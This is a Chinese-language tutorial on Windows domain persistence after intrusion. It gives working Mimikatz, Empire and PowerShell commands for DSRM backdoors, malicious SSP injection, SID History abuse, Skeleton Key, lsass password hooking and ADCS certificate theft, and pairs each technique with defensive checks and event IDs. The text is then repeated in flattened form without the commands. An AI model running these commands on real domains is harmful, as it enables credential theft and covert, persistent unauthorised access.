内网渗透之内网权限维持
字数 1587 2025-08-22 22:47:30

内网渗透权限维持技术详解

目录服务恢复模式(DSRM)后门

基本概念

DSRM(Directory Services Restore Mode)是Windows域控制器的安全模式启动选项,每个域控制器都有一个本地管理员账户(DSRM账户),用于在域环境故障时恢复活动目录数据库。

利用方法

密码同步步骤

  1. 获取krbtgt账户的NTLM Hash:

    privilege::debug
    lsadump::lsa /patch /name:krbtgt
    
  2. 查看DSRM账户的NTLM Hash:

    token::elevate
    lsadump::sam
    
  3. 同步DSRM与krbtgt账户的Hash:

    ntdsutil
    set DSRM PASSWORD
    SYNC FROM DOMAIN account krbtgt
    q
    q
    
  4. 修改DSRM登录方式(注册表):

    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
    
    • 0: 仅DSRM模式可用
    • 1: AD服务停止时可用
    • 2: 始终可用
  5. 使用哈希传递攻击:

    privilege::debug
    sekurlsa::pth /domain:DC /user:administrator /ntlm:[krbtgt_hash]
    

防御措施

  1. 定期检查注册表键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
  2. 定期修改所有域控制器的DSRM账号密码
  3. 监控ID为4794的事件日志

安全支持提供程序(SSP)注入

基本概念

SSP(Security Support Provider)是Windows身份认证机制的DLL组件,通过注入恶意SSP可获取lsass.exe进程中的明文凭据。

利用方法

方法一:内存注入(非持久)

privilege::debug
misc::memssp

登录凭据将记录在C:\Windows\System32\mimilsa.log

方法二:mimilib.dll持久化

  1. 复制mimilib.dll到C:\windows\system32\
  2. 修改注册表:
    HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages
    
  3. 凭据记录在C:\windows\system32\kiwissp.log

Empire框架实现

  1. 枚举SSP:

    usemodule persistence/misc/get_ssps
    execute
    
  2. 安装SSP:

    usemodule persistence/misc/install_ssp
    set Path C:\path\to\mimilib.dll
    execute
    

防御措施

  1. 检查注册表HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/Security Packages
  2. 监控C:\Windows\System32\目录下的可疑DLL
  3. 使用工具检查LSA中的可疑DLL

SID History权限维持

基本概念

通过向用户添加高权限SID到SID History属性,可维持域内权限。

利用方法

  1. 使用Mimikatz注入SID:

    privilege::debug
    sid::patch
    sid::add /sam:target_user /new:administrator
    
  2. 清除SID History:

    sid::clear /sam:username
    

防御措施

  1. 定期检查SID为500的用户
  2. 监控ID为4765和4766的事件日志
  3. 检查具有相同SID History属性的用户

Skeleton Key(万能密码)

基本概念

在域控制器lsass.exe进程中注入万能密码,可使用默认密码"mimikatz"认证任意域账户。

利用方法

Mimikatz实现:

privilege::debug
misc::skeleton

使用:net use \\dc\ipc$ "mimikatz" /user:hacke\administrator

Empire实现:

usemodule persistence/misc/skeleton_key
execute

防御措施

  1. 启用LSA保护策略
  2. 域管理员使用强密码
  3. 启用双因子认证
  4. 配置应用程序白名单(Applocker)

Hook PasswordChangeNotify

基本概念

通过Hook密码更改通知函数,记录用户修改后的明文密码。

利用方法

  1. 编译HookPasswordChange.dll
  2. 使用PowerShell注入lsass:
    Import-Module Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    
  3. 密码记录在C:\Windows\Temp\passwords.txt

防御措施

  1. 严格监控PowerShell活动
  2. 启用约束语言模式

ADCS证书权限维持

基本概念

利用Active Directory证书服务(ADCS)获取持久化访问权限。

利用方法

  1. 导出用户证书:

    certutil -user -exportPFX [cert_serial] C:\path\to\cert.pfx
    
  2. 使用证书获取NTLM:

    tgt::pac /subject:username /castore:current_user /domain:domain.name
    
  3. 即使密码更改后仍可使用证书认证

防御措施

  1. 严格控制证书模板权限
  2. 定期审计证书颁发
  3. 监控异常证书请求活动

总结

内网权限维持技术多样,防御需要多层次策略:

  1. 定期审计关键系统组件和配置
  2. 实施严格的权限管理
  3. 启用全面的日志监控
  4. 保持系统补丁更新
  5. 限制PowerShell等高危工具的使用
内网渗透权限维持技术详解 目录服务恢复模式(DSRM)后门 基本概念 DSRM(Directory Services Restore Mode)是Windows域控制器的安全模式启动选项,每个域控制器都有一个本地管理员账户(DSRM账户),用于在域环境故障时恢复活动目录数据库。 利用方法 密码同步步骤 获取krbtgt账户的NTLM Hash: 查看DSRM账户的NTLM Hash: 同步DSRM与krbtgt账户的Hash: 修改DSRM登录方式(注册表): 0: 仅DSRM模式可用 1: AD服务停止时可用 2: 始终可用 使用哈希传递攻击: 防御措施 定期检查注册表键值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior 定期修改所有域控制器的DSRM账号密码 监控ID为4794的事件日志 安全支持提供程序(SSP)注入 基本概念 SSP(Security Support Provider)是Windows身份认证机制的DLL组件,通过注入恶意SSP可获取lsass.exe进程中的明文凭据。 利用方法 方法一:内存注入(非持久) 登录凭据将记录在 C:\Windows\System32\mimilsa.log 方法二:mimilib.dll持久化 复制mimilib.dll到 C:\windows\system32\ 修改注册表: 凭据记录在 C:\windows\system32\kiwissp.log Empire框架实现 枚举SSP: 安装SSP: 防御措施 检查注册表 HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/Security Packages 监控 C:\Windows\System32\ 目录下的可疑DLL 使用工具检查LSA中的可疑DLL SID History权限维持 基本概念 通过向用户添加高权限SID到SID History属性,可维持域内权限。 利用方法 使用Mimikatz注入SID: 清除SID History: 防御措施 定期检查SID为500的用户 监控ID为4765和4766的事件日志 检查具有相同SID History属性的用户 Skeleton Key(万能密码) 基本概念 在域控制器lsass.exe进程中注入万能密码,可使用默认密码"mimikatz"认证任意域账户。 利用方法 Mimikatz实现: 使用: net use \\dc\ipc$ "mimikatz" /user:hacke\administrator Empire实现: 防御措施 启用LSA保护策略 域管理员使用强密码 启用双因子认证 配置应用程序白名单(Applocker) Hook PasswordChangeNotify 基本概念 通过Hook密码更改通知函数,记录用户修改后的明文密码。 利用方法 编译HookPasswordChange.dll 使用PowerShell注入lsass: 密码记录在 C:\Windows\Temp\passwords.txt 防御措施 严格监控PowerShell活动 启用约束语言模式 ADCS证书权限维持 基本概念 利用Active Directory证书服务(ADCS)获取持久化访问权限。 利用方法 导出用户证书: 使用证书获取NTLM: 即使密码更改后仍可使用证书认证 防御措施 严格控制证书模板权限 定期审计证书颁发 监控异常证书请求活动 总结 内网权限维持技术多样,防御需要多层次策略: 定期审计关键系统组件和配置 实施严格的权限管理 启用全面的日志监控 保持系统补丁更新 限制PowerShell等高危工具的使用